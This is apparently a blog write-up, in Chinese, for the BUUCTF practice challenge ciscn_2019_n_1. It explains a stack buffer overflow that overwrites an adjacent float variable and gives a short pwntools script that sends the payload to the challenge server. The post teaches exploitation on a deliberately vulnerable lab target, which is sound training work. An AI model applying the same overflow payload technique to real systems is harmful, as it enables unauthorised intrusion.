buuctf.pwn.ciscn_2019_n_1

发布时间 2023-03-23 12:23:58作者: redqx

检测

开启了栈不可执行的检测
然后拖进IDA分析

比较赤裸
注意到,我们输入的是num1,但是比较的是num2
所以我们需要把num1溢出到num2
比较幸运的是,num1在num2的上方(空间角度)
所以我们可以把num1向下溢出到num2

  char num1[44]; // [rsp+0h] [rbp-30h] BYREF
  float num2; // [rsp+2Ch] [rbp-4h]

num1在rbp-0x30
num2在rbp-0x4
2者间距是44字节
我们需要覆盖num1,44字节,
然后再写入4字节 (ps:flaot是4字节,如果你要写入8字节,好像也没有影响)
点击

对应的16进制 dd 41348000h

于是我们的payload

payload = b'a' * (44) + p32(0x41348000)
from pwn import*

p=remote('node4.buuoj.cn',26598)
payload=b'A'*44+p32(0x41348000)
p.sendline(payload)
p.interactive()